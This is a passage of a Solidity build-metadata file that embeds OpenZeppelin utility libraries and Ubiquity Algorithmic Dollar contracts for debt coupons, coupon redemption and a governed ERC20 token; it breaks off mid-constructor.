internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/DebtCoupon.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"solidity-linked-list/contracts/StructuredLinkedList.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\n\\n/// @title A coupon redeemable for dollars with an expiry block number\\n/// @notice An ERC1155 where the token ID is the expiry block number\\n/// @dev Implements ERC1155 so receiving contracts must implement IERC1155Receiver\\ncontract DebtCoupon is ERC1155 {\\n using StructuredLinkedList for StructuredLinkedList.List;\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n //not public as if called externally can give inaccurate value. see method\\n uint256 private _totalOutstandingDebt;\\n\\n //represents tokenSupply of each expiry (since 1155 doesnt have this)\\n mapping(uint256 => uint256) private _tokenSupplies;\\n\\n //ordered list of coupon expiries\\n StructuredLinkedList.List private _sortedBlockNumbers;\\n\\n event MintedCoupons(address recipient, uint256 expiryBlock, uint256 amount);\\n\\n event BurnedCoupons(\\n address couponHolder,\\n uint256 expiryBlock,\\n uint256 amount\\n );\\n\\n modifier onlyCouponManager() {\\n require(\\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\\n \\\"Caller is not a coupon manager\\\"\\n );\\n _;\\n }\\n\\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\\n constructor(address _manager) ERC1155(\\\"URI\\\") {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n _totalOutstandingDebt = 0;\\n }\\n\\n /// @notice Mint an amount of coupons expiring at a certain block for a certain recipient\\n /// @param amount amount of tokens to mint\\n /// @param expiryBlockNumber the expiration block number of the coupons to mint\\n function mintCoupons(\\n address recipient,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n _mint(recipient, expiryBlockNumber, amount, \\\"\\\");\\n emit MintedCoupons(recipient, expiryBlockNumber, amount);\\n\\n //insert new relevant block number if it doesnt exist in our list\\n // (linkedlist implementation wont insert if dupe)\\n _sortedBlockNumbers.pushBack(expiryBlockNumber);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] +\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt + (amount);\\n }\\n\\n /// @notice Burn an amount of coupons expiring at a certain block from\\n /// a certain holder's balance\\n /// @param couponOwner the owner of those coupons\\n /// @param amount amount of tokens to burn\\n /// @param expiryBlockNumber the expiration block number of the coupons to burn\\n function burnCoupons(\\n address couponOwner,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n require(\\n balanceOf(couponOwner, expiryBlockNumber) >= amount,\\n \\\"Coupon owner not enough coupons\\\"\\n );\\n _burn(couponOwner, expiryBlockNumber, amount);\\n emit BurnedCoupons(couponOwner, expiryBlockNumber, amount);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] -\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt - (amount);\\n }\\n\\n /// @notice Should be called prior to any state changing functions.\\n // Updates debt according to current block number\\n function updateTotalDebt() public {\\n bool reachedEndOfExpiredKeys = false;\\n uint256 currentBlockNumber = _sortedBlockNumbers.popFront();\\n\\n //if list is empty, currentBlockNumber will be 0\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n //put the key back in since we popped, and end loop\\n _sortedBlockNumbers.pushFront(currentBlockNumber);\\n reachedEndOfExpiredKeys = true;\\n } else {\\n //update tally and remove key from blocks and map\\n _totalOutstandingDebt =\\n _totalOutstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n delete _tokenSupplies[currentBlockNumber];\\n _sortedBlockNumbers.remove(currentBlockNumber);\\n }\\n currentBlockNumber = _sortedBlockNumbers.popFront();\\n }\\n }\\n\\n /// @notice Returns outstanding debt by fetching current tally and removing any expired debt\\n function getTotalOutstandingDebt() public view returns (uint256) {\\n uint256 outstandingDebt = _totalOutstandingDebt;\\n bool reachedEndOfExpiredKeys = false;\\n (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0);\\n\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n reachedEndOfExpiredKeys = true;\\n } else {\\n outstandingDebt =\\n outstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n }\\n (, currentBlockNumber) = _sortedBlockNumbers.getNextNode(\\n currentBlockNumber\\n );\\n }\\n\\n return outstandingDebt;\\n }\\n}\\n\",\"keccak256\":\"0xf26a64cbe54ced5ffe6052c0b2ee2505106a1ad28700d4831a16eb3627e8a051\",\"license\":\"MIT\"},\"contracts/DebtCouponManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/utils/introspection/ERC165.sol\\\";\\nimport \\\"./interfaces/IDebtRedemption.sol\\\";\\nimport \\\"./interfaces/IUARForDollarsCalculator.sol\\\";\\nimport \\\"./interfaces/ICouponsForDollarsCalculator.sol\\\";\\nimport \\\"./interfaces/IDollarMintingCalculator.sol\\\";\\nimport \\\"./interfaces/IExcessDollarsDistributor.sol\\\";\\nimport \\\"./TWAPOracle.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./UbiquityAutoRedeem.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./DebtCoupon.sol\\\";\\n\\n/// @title A basic debt issuing and redemption mechanism for coupon holders\\n/// @notice Allows users to burn their uAD in exchange for coupons\\n/// redeemable in the future\\n/// @notice Allows users to redeem individual debt coupons or batch redeem\\n/// coupons on a first-come first-serve basis\\ncontract DebtCouponManager is ERC165, IERC1155Receiver {\\n using SafeERC20 for IERC20Ubiquity;\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n //the amount of dollars we minted this cycle, so we can calculate delta.\\n // should be reset to 0 when cycle ends\\n uint256 public dollarsMintedThisCycle;\\n bool public debtCycle;\\n uint256 public blockHeightDebt;\\n uint256 public couponLengthBlocks;\\n uint256 public expiredCouponConvertionRate = 2;\\n event ExpiredCouponConvertionRateChanged(\\n uint256 newRate,\\n uint256 previousRate\\n );\\n\\n event CouponLengthChanged(\\n uint256 newCouponLengthBlocks,\\n uint256 previousCouponLengthBlocks\\n );\\n\\n modifier onlyCouponManager() {\\n require(\\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\\n \\\"Caller is not a coupon manager\\\"\\n );\\n _;\\n }\\n\\n /// @param _manager the address of the manager contract so we can fetch variables\\n /// @param _couponLengthBlocks how many blocks coupons last. can't be changed\\n /// once set (unless migrated)\\n constructor(address _manager, uint256 _couponLengthBlocks) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n couponLengthBlocks = _couponLengthBlocks;\\n }\\n\\n function setExpiredCouponConvertionRate(uint256 rate)\\n external\\n onlyCouponManager\\n {\\n emit ExpiredCouponConvertionRateChanged(\\n rate,\\n expiredCouponConvertionRate\\n );\\n expiredCouponConvertionRate = rate;\\n }\\n\\n function setCouponLength(uint256 _couponLengthBlocks)\\n external\\n onlyCouponManager\\n {\\n emit CouponLengthChanged(_couponLengthBlocks, couponLengthBlocks);\\n couponLengthBlocks = _couponLengthBlocks;\\n }\\n\\n /// @dev called when a user wants to burn UAD for debt coupon.\\n /// should only be called when oracle is below a dollar\\n /// @param amount the amount of dollars to exchange for coupons\\n function exchangeDollarsForDebtCoupons(uint256 amount)\\n external\\n returns (uint256)\\n {\\n uint256 twapPrice = _getTwapPrice();\\n\\n require(twapPrice < 1 ether, \\\"Price must be below 1 to mint coupons\\\");\\n\\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\\n debtCoupon.updateTotalDebt();\\n\\n //we are in a down cycle so reset the cycle counter\\n // and set the blockHeight Debt\\n if (!debtCycle) {\\n debtCycle = true;\\n blockHeightDebt = block.number;\\n dollarsMintedThisCycle = 0;\\n }\\n\\n ICouponsForDollarsCalculator couponCalculator =\\n ICouponsForDollarsCalculator(manager.couponCalculatorAddress());\\n uint256 couponsToMint = couponCalculator.getCouponAmount(amount);\\n\\n // we burn user's dollars.\\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\\n msg.sender,\\n amount\\n );\\n\\n uint256 expiryBlockNumber = block.number + (couponLengthBlocks);\\n debtCoupon.mintCoupons(msg.sender, couponsToMint, expiryBlockNumber);\\n\\n //give the caller the block number of the minted nft\\n return expiryBlockNumber;\\n }\\n\\n /// @dev called when a user wants to burn UAD for uAR.\\n /// should only be called when oracle is below a dollar\\n /// @param amount the amount of dollars to exchange for uAR\\n /// @return amount of auto redeem tokens minted\\n function exchangeDollarsForUAR(uint256 amount) external returns (uint256) {\\n uint256 twapPrice = _getTwapPrice();\\n\\n require(twapPrice < 1 ether, \\\"Price must be below 1 to mint uAR\\\");\\n\\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\\n debtCoupon.updateTotalDebt();\\n\\n //we are in a down cycle so reset the cycle counter\\n // and set the blockHeight Debt\\n if (!debtCycle) {\\n debtCycle = true;\\n blockHeightDebt = block.number;\\n dollarsMintedThisCycle = 0;\\n }\\n\\n IUARForDollarsCalculator uarCalculator =\\n IUARForDollarsCalculator(manager.uarCalculatorAddress());\\n uint256 uarToMint = uarCalculator.getUARAmount(amount, blockHeightDebt);\\n\\n // we burn user's dollars.\\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\\n msg.sender,\\n amount\\n );\\n // mint uAR\\n UbiquityAutoRedeem autoRedeemToken =\\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\\n autoRedeemToken.mint(msg.sender, uarToMint);\\n\\n //give minted uAR amount\\n return uarToMint;\\n }\\n\\n /// @dev uses the current coupons for dollars calculation to get coupons for dollars\\n /// @param amount the amount of dollars to exchange for coupons\\n function getCouponsReturnedForDollars(uint256 amount)\\n external\\n view\\n returns (uint256)\\n {\\n ICouponsForDollarsCalculator couponCalculator =\\n ICouponsForDollarsCalculator(manager.couponCalculatorAddress());\\n return couponCalculator.getCouponAmount(amount);\\n }\\n\\n /// @dev uses the current uAR for dollars calculation to get uAR for dollars\\n /// @param amount the amount of dollars to exchange for uAR\\n function getUARReturnedForDollars(uint256 amount)\\n external\\n view\\n returns (uint256)\\n {\\n IUARForDollarsCalculator uarCalculator =\\n IUARForDollarsCalculator(manager.uarCalculatorAddress());\\n return uarCalculator.getUARAmount(amount, blockHeightDebt);\\n }\\n\\n /// @dev should be called by this contract only when getting coupons to be burnt\\n function onERC1155Received(\\n address operator,\\n address,\\n uint256,\\n uint256,\\n bytes calldata\\n ) external view override returns (bytes4) {\\n if (manager.hasRole(manager.COUPON_MANAGER_ROLE(), operator)) {\\n //allow the transfer since it originated from this contract\\n return\\n bytes4(\\n keccak256(\\n \\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"\\n )\\n );\\n } else {\\n //reject the transfer\\n return \\\"\\\";\\n }\\n }\\n\\n /// @dev this method is never called by the contract so if called,\\n /// it was called by someone else -> revert.\\n function onERC1155BatchReceived(\\n address,\\n address,\\n uint256[] calldata,\\n uint256[] calldata,\\n bytes calldata\\n ) external pure override returns (bytes4) {\\n //reject the transfer\\n return \\\"\\\";\\n }\\n\\n /// @dev let debt holder burn expired coupons for UGOV. Doesn't make TWAP > 1 check.\\n /// @param id the timestamp of the coupon\\n /// @param amount the amount of coupons to redeem\\n /// @return uGovAmount amount of UGOV tokens minted to debt holder\\n function burnExpiredCouponsForUGOV(uint256 id, uint256 amount)\\n public\\n returns (uint256 uGovAmount)\\n {\\n // Check whether debt coupon hasn't expired --> Burn debt coupons.\\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\\n\\n require(id <= block.number, \\\"Coupon has not expired\\\");\\n require(\\n debtCoupon.balanceOf(msg.sender, id) >= amount,\\n \\\"User not enough coupons\\\"\\n );\\n\\n debtCoupon.burnCoupons(msg.sender, amount, id);\\n\\n // Mint UGOV tokens to this contract. Transfer UGOV tokens to msg.sender i.e. debt holder\\n IERC20Ubiquity uGOVToken =\\n IERC20Ubiquity(manager.governanceTokenAddress());\\n uGovAmount = amount / expiredCouponConvertionRate;\\n uGOVToken.mint(msg.sender, uGovAmount);\\n }\\n\\n // TODO should we leave it ?\\n /// @dev Lets debt holder burn coupons for auto redemption. Doesn't make TWAP > 1 check.\\n /// @param id the timestamp of the coupon\\n /// @param amount the amount of coupons to redeem\\n /// @return amount of auto redeem pool tokens (i.e. LP tokens) minted to debt holder\\n function burnCouponsForAutoRedemption(uint256 id, uint256 amount)\\n public\\n returns (uint256)\\n {\\n // Check whether debt coupon hasn't expired --> Burn debt coupons.\\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\\n\\n require(id > block.timestamp, \\\"Coupon has expired\\\");\\n require(\\n debtCoupon.balanceOf(msg.sender, id) >= amount,\\n \\\"User not enough coupons\\\"\\n );\\n\\n debtCoupon.burnCoupons(msg.sender, amount, id);\\n\\n // Mint LP tokens to this contract. Transfer LP tokens to msg.sender i.e. debt holder\\n UbiquityAutoRedeem autoRedeemToken =\\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\\n autoRedeemToken.mint(address(this), amount);\\n autoRedeemToken.transfer(msg.sender, amount);\\n\\n return autoRedeemToken.balanceOf(msg.sender);\\n }\\n\\n /// @dev Exchange auto redeem pool token for uAD tokens.\\n /// @param amount Amount of uAR tokens to burn in exchange for uAD tokens.\\n /// @return amount of unredeemed uAR\\n function burnAutoRedeemTokensForDollars(uint256 amount)\\n public\\n returns (uint256)\\n {\\n uint256 twapPrice = _getTwapPrice();\\n require(twapPrice > 1 ether, \\\"Price must be above 1 to auto redeem\\\");\\n if (debtCycle) {\\n debtCycle = false;\\n }\\n UbiquityAutoRedeem autoRedeemToken =\\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\\n require(\\n autoRedeemToken.balanceOf(msg.sender) >= amount,\\n \\\"User doesn't have enough auto redeem pool tokens.\\\"\\n );\\n\\n UbiquityAlgorithmicDollar uAD =\\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress());\\n uint256 maxRedeemableUAR = uAD.balanceOf(address(this));\\n\\n if (maxRedeemableUAR <= 0) {\\n mintClaimableDollars();\\n maxRedeemableUAR = uAD.balanceOf(address(this));\\n }\\n\\n uint256 uarToRedeem = amount;\\n if (amount > maxRedeemableUAR) {\\n uarToRedeem = maxRedeemableUAR;\\n }\\n autoRedeemToken.burnFrom(msg.sender, uarToRedeem);\\n uAD.transfer(msg.sender, uarToRedeem);\\n\\n return amount - uarToRedeem;\\n }\\n\\n /// @param id the block number of the coupon\\n /// @param amount the amount of coupons to redeem\\n /// @return amount of unredeemed coupons\\n function redeemCoupons(uint256 id, uint256 amount)\\n public\\n returns (uint256)\\n {\\n uint256 twapPrice = _getTwapPrice();\\n\\n require(twapPrice > 1 ether, \\\"Price must be above 1 to redeem coupons\\\");\\n if (debtCycle) {\\n debtCycle = false;\\n }\\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\\n\\n require(id > block.number, \\\"Coupon has expired\\\");\\n require(\\n debtCoupon.balanceOf(msg.sender, id) >= amount,\\n \\\"User not enough coupons\\\"\\n );\\n\\n mintClaimableDollars();\\n UbiquityAlgorithmicDollar uAD =\\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress());\\n UbiquityAutoRedeem autoRedeemToken =\\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\\n // uAR have a priority on uDEBT coupon holder\\n require(\\n autoRedeemToken.totalSupply() <= uAD.balanceOf(address(this)),\\n \\\"There aren't enough uAD to redeem currently\\\"\\n );\\n uint256 maxRedeemableCoupons =\\n uAD.balanceOf(address(this)) - autoRedeemToken.totalSupply();\\n uint256 couponsToRedeem = amount;\\n\\n if (amount > maxRedeemableCoupons) {\\n couponsToRedeem = maxRedeemableCoupons;\\n }\\n require(\\n uAD.balanceOf(address(this)) > 0,\\n \\\"There aren't any uAD to redeem currently\\\"\\n );\\n\\n // debtCouponManager must be an operator to transfer on behalf of msg.sender\\n debtCoupon.burnCoupons(msg.sender, couponsToRedeem, id);\\n uAD.transfer(msg.sender, couponsToRedeem);\\n\\n return amount - (couponsToRedeem);\\n }\\n\\n function mintClaimableDollars() public {\\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\\n debtCoupon.updateTotalDebt();\\n\\n // uint256 twapPrice = _getTwapPrice(); //unused variable. Why here?\\n uint256 totalMintableDollars =\\n IDollarMintingCalculator(manager.dollarMintingCalculatorAddress())\\n .getDollarsToMint();\\n uint256 dollarsToMint = totalMintableDollars - (dollarsMintedThisCycle);\\n //update the dollars for this cycle\\n dollarsMintedThisCycle = totalMintableDollars;\\n\\n UbiquityAlgorithmicDollar uAD =\\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress());\\n // uAD dollars should be minted to address(this)\\n uAD.mint(address(this), dollarsToMint);\\n UbiquityAutoRedeem autoRedeemToken =\\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\\n\\n uint256 currentRedeemableBalance = uAD.balanceOf(address(this));\\n uint256 totalOutstandingDebt =\\n debtCoupon.getTotalOutstandingDebt() +\\n autoRedeemToken.totalSupply();\\n\\n if (currentRedeemableBalance > totalOutstandingDebt) {\\n uint256 excessDollars =\\n currentRedeemableBalance - (totalOutstandingDebt);\\n\\n IExcessDollarsDistributor dollarsDistributor =\\n IExcessDollarsDistributor(\\n manager.getExcessDollarsDistributor(address(this))\\n );\\n //transfer excess dollars to the distributor and tell it to distribute\\n uAD.transfer(\\n manager.getExcessDollarsDistributor(address(this)),\\n excessDollars\\n );\\n dollarsDistributor.distributeDollars();\\n }\\n }\\n\\n function _getTwapPrice() internal returns (uint256) {\\n TWAPOracle(manager.twapOracleAddress()).update();\\n return\\n TWAPOracle(manager.twapOracleAddress()).consult(\\n manager.dollarTokenAddress()\\n );\\n }\\n}\\n\",\"keccak256\":\"0x4d7bd22770f1db85e6135bcf50e32abe6aa1a55315c26118e9170052c310808b\",\"license\":\"MIT\"},\"contracts/ERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\n\\n/// @title ERC20 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC20 with :\\n/// - ERC20 minter, burner and pauser\\n/// - draft-ERC20 permit\\n/// - Ubiquity Manager access control\\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // solhint-disable-next-line var-name-mixedcase\\n bytes32 public DOMAIN_SEPARATOR;\\n // keccak256(\\\"Permit(address owner,address spender,\\n // uint256 value,uint256 nonce,uint256 deadline)\\\");\\n bytes32 public constant PERMIT_TYPEHASH =\\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\\n mapping(address => uint256) public nonces;\\n string private _tokenName;\\n string private _symbol;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n string memory name_,\\n string memory symbol_\\n ) ERC20(name_, symbol_) {\\n _tokenName = name_;\\n _symbol = symbol_;\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\\n // because he will get the admin, minter and pauser role on uAD and we want to\\n // manage all permissions through the manager\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n uint256 chainId;\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n chainId := chainid()\\n }\\n\\n DOMAIN_SEPARATOR = keccak256(\\n abi.encode(\\n keccak256(\\n // solhint-disable-next-line max-line-length\\n 